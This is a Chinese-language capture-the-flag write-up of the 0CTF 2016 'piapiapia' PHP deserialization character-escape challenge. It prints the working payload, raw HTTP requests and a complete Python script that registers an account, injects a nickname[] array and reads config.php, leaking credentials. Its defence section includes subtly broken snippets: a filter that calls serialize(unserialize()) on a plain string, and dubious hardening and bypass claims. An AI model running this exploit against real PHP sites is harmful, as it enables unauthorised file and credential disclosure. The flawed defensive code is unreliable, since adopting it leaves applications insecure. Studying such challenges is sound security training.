PHP反序列化逃逸实战:0CTF piapiapia 34字符逃逸构造与数组绕过技术解析
1. 漏洞背景与核心原理
PHP反序列化字符逃逸漏洞的本质在于序列化字符串的结构被破坏后重新拼接恶意代码。当序列化数据经过过滤函数处理后,元素内容发生变化但描述长度的数字未同步更新时,就会导致后续内容"逃逸"出原有结构,成为新的可执行元素。
在0CTF 2016的piapiapia题目中,关键漏洞点出现在以下技术组合:
- filter函数导致的字符增多:将特定关键词(如'where')替换为更长字符串('hacker')
- strlen数组绕过:通过提交数组类型绕过nickname字段的长度限制检查
- 精确字符计算:需要构造34个特定字符实现完整逃逸
关键提示:PHP反序列化时以分号作为字段分隔、大括号作为结尾,长度不对应会导致解析异常,这正是逃逸攻击的突破口
2. 环境搭建与代码审计
2.1 关键文件分析
通过扫描获取www.zip源码后,重点关注三个核心文件:
class.php 过滤逻辑
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }update.php 数据处理
$profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));profile.php 反序列化点
$profile = unserialize($profile); $photo = base64_encode(file_get_contents($profile['photo']));2.2 漏洞链条梳理
- 用户控制nickname参数 → 2. 序列化后经filter处理 → 3. 字符增多导致结构破坏 → 4. 精心构造的payload逃逸 → 5. 控制photo参数读取config.php
3. 逃逸构造技术详解
3.1 基础逃逸原理演示
正常序列化示例:
a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:10:"test@qq.com"; s:8:"nickname";s:3:"abc"; s:5:"photo";s:36:"upload/5d41402abc4b2a76b9719d911017c592"; }恶意构造后:
a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:10:"test@qq.com"; s:8:"nickname";s:34:"wherewherewhere...where";}s:5:"photo";s:10:"config.php";}"; s:5:"photo";s:36:"upload/5d41402abc4b2a76b9719d911017c592"; }3.2 精确字符计算
需要逃逸的目标字符串:
";}s:5:"photo";s:10:"config.php";}总长度计算:
- 原始字符串:
where(5字节) - 替换后字符串:
hacker(6字节) - 每个where增加:1字节
- 需要增加总长度:34字节
- 所需where数量:34个
验证计算:
>>> original = 'where'*34 >>> len(original) # 170 >>> filtered = 'hacker'*34 >>> len(filtered) # 204 >>> 204 - 170 == 34 # 验证通过 True3.3 数组绕过技巧
由于nickname有长度限制:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)利用PHP特性:
strlen(array())返回NULL- 通过数组提交绕过检查:
POST /update.php HTTP/1.1 ... nickname[]=payload4. 完整攻击流程
4.1 分步操作指南
- 注册账户:正常注册并登录系统
- 构造Payload:
payload = 'where'*34 + '";}s:5:"photo";s:10:"config.php";}' - 数组形式提交:
POST /update.php HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; name="nickname[]" wherewherewhere...where";}s:5:"photo";s:10:"config.php";} ------WebKitFormBoundary-- - 触发反序列化:访问profile.php获取base64编码的config.php内容
- 解码获取flag:
echo "PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2U1ZWY1MDE0LWMzZmQtNDIyYS1hNWE4LWYyMDkzMWM0YWNmYX0nOwo/Pgo=" | base64 -d
4.2 关键代码片段
自动化攻击脚本:
import requests import re import base64 session = requests.Session() target_url = "http://example.com/" # 注册账户 register_data = { 'username': 'exploit_user', 'password': 'exploit_pass', 'confirm': 'exploit_pass' } session.post(target_url + "register.php", data=register_data) # 登录 login_data = { 'username': 'exploit_user', 'password': 'exploit_pass' } session.post(target_url + "login.php", data=login_data) # 构造恶意nickname evil_payload = 'where'*34 + '";}s:5:"photo";s:10:"config.php";}' # 上传修改 files = {'photo': ('test.png', 'test', 'image/png')} update_data = { 'phone': '12345678901', 'email': 'test@qq.com', 'nickname[]': evil_payload } session.post(target_url + "update.php", data=update_data, files=files) # 获取flag response = session.get(target_url + "profile.php") flag_content = re.search(r'base64,(.*?)"', response.text).group(1) print(base64.b64decode(flag_content).decode())5. 防御方案与最佳实践
5.1 安全编码建议
输入验证:
// 严格类型检查 if (!is_string($_POST['nickname'])) { die('Invalid input type'); }安全序列化方案:
// 使用JSON替代原生序列化 $profile = json_encode($profile, JSON_HEX_TAG | JSON_HEX_APOS);过滤函数改进:
function safe_filter($string) { $filtered = str_replace(['where'], 'hacker', $string); // 重新计算长度后序列化 return serialize(unserialize($filtered)); }
5.2 配置加固
禁用危险函数:
disable_functions = unserialize使用HMAC验证:
$secret = 'your_secret_key'; $serialized = serialize($data); $hmac = hash_hmac('sha256', $serialized, $secret); $_SESSION['profile'] = $hmac . $serialized;
6. 扩展思考与变种攻击
6.1 其他CTF中的逃逸案例
| 比赛名称 | 关键点 | 逃逸类型 |
|---|---|---|
| 安洵杯2019 | 过滤后字符减少 | 吞并后续内容 |
| GYCTF2020 | 多层嵌套+属性控制 | 对象注入 |
| 强网杯2021 | Phar反序列化+文件操作 | 流包装器 |
6.2 高级利用技巧
多级逃逸:
// 当存在多个过滤层时,需要计算累计变化量 $total_change = (strlen($filter1_output) - strlen($input)) + (strlen($filter2_output) - strlen($filter1_output));Unicode编码绕过:
// 使用非常规字符表示属性名 $payload = 's:5:"ph\u{0000}oto";s:10:"config.php";';引用对象技巧:
$a = new stdClass(); $a->self = $a; // 创建循环引用 // 可能引发某些解析器异常